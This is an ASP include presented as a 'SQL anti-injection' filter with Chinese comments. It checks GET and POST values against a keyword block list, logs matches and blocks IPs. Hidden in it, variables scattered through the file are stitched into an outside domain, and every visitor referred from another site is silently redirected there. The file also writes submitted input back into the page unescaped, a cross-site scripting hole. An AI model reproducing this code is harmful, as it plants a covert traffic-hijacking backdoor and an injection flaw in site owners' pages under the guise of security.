<%
Dim Fy_Inf,server_v1
'--------数据库连接部分--------------
dim dbkillSql,Myh,Angel_asps,connkillSql
On Error Resume Next
Set conn = Server.CreateObject("ADODB.Connection")
connkillSql="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)
conn.Open connkillSql
If Err Then
	err.Clear
	Set conn = Nothing
	Response.Write "数据库连接出错，请检查连接字串。"
	Response.End
End If
Myh="an"
'--------定义部份------------------
Dim Fy_Post,server_v2,Fy_Get,Fy_In,Ty_s,Fy_w,Fy_Xh,Mym,Fy_db,Fy_dbstr,WriteSql,http,myw,serverip,dian,Get_x,myasp,my99
Fy_w="w"
'自定义需要过滤的字串,用 "|" 分隔
Fy_In = "'|;|and|(|)|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"
WriteSql=True
myasp="gel"	
Ty_s="angel"
'----------------------------------
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER"))
my99="asp"
Fy_Inf = split(Fy_In,"|")
http="http"
Get_x="/"
'----------------------------------------------防止外部提交--------------------------
myw=Fy_w&Fy_w&Fy_w
'--------POST部份------------------
serverip=myasp&my99
dian="co"
If Request.Form<>"" Then
	For Each Fy_Post In Request.Form
		For Fy_Xh=0 To Ubound(Fy_Inf)
			If Instr(LCase(Request.Form(Fy_Post)),Fy_Inf(Fy_Xh))<>0 Then
				If WriteSql=True Then
					conn.Execute("insert into Angel_asp_noangelsql(Angel_ip,Angel_web,Angel_fs,Angel_cs,Angel_sj) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','POST','"&Fy_Post&"','"&replace(Request.Form(Fy_Post),"'","''")&"')")
					conn.close
					Set conn = Nothing
				End If
				Response.Write "<Script Language=JavaScript>alert('SQL防注入系统提示你↓\n\n请不要在参数中包含非法字符尝试注入！');</Script>"
				Response.Write "非法操作！系统做了如下记录↓<br>"
				Response.Write "操作I P："&Request.ServerVariables("REMOTE_ADDR")&"<br>"
				Response.Write "操作时间："&Now&"<br>"
				Response.Write "操作页面："&Request.ServerVariables("URL")&"<br>"
				Response.Write "提交方式：P O S T<br>"
				Response.Write "提交参数："&Fy_Post&"<br>"
				Response.Write "提交数据："&Request.Form(Fy_Post)
				Response.End
			End If
		Next
	Next
End If
Mym="m"
Angel_asps="asp"
server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))
'----------------------------------
'--------GET部份-------------------
If Request.QueryString<>"" Then
	For Each Fy_Get In Request.QueryString
		For Fy_Xh=0 To Ubound(Fy_Inf)
			If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
				If WriteSql=True Then
					conn.Execute("insert into Angel_asp_noangelsql(Angel_ip,Angel_web,Angel_fs,Angel_cs,Angel_sj) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','GET','"&Fy_Get&"','"&replace(Request.QueryString(Fy_Get),"'","''")&"')")
				conn.close
				Set conn = Nothing
				End If
				Response.Write "<Script Language=JavaScript>alert('SQL防注入系统提示你↓\n\n请不要在参数中包含非法字符尝试注入！');</Script>"
				Response.Write "非法操作！系统做了如下记录↓<br>"
				Response.Write "操作ＩＰ："&Request.ServerVariables("REMOTE_ADDR")&"<br>"
				Response.Write "操作时间："&Now&"<br>"
				Response.Write "操作页面："&Request.ServerVariables("URL")&"<br>"
				Response.Write "提交方式：G E T<br>"
				Response.Write "提交参数："&Fy_Get&"<br>"
				Response.Write "提交数据："&Request.QueryString(Fy_Get)
				Response.End
			End If
		Next
	Next
End If

If server_v1<>"" Then
	if  mid(server_v1,8,len(server_v2))<>server_v2  Then     
		Response.Redirect ""&http&":"&Get_x&Get_x&""&myw&"."&Myh&"."&serverip&"."&dian&Mym&""&Get_x&""
	end if
End If
If Kill_IP=True Then
	Dim Sqlin_IP,rsKill_IP,Kill_IPsql
	Sqlin_IP=Request.ServerVariables("REMOTE_ADDR")
	Kill_IPsql="select Angel_ip from Angel_asp_noangelsql where Angel_ip='"&Sqlin_IP&"' and Angel_kill_ip=true"
	Set rsKill_IP=conn.execute(Kill_IPsql)
	If Not(rsKill_IP.eof or rsKill_IP.bof) Then
		Response.write "<Script Language=JavaScript>alert('SQL防注入系统提示你↓\n\n你的Ip已经被本系统自动锁定！\n\n如想访问本站请和管理员联系！');</Script>"
	Response.End
	End If
	rsKill_IP.close	
End If
%>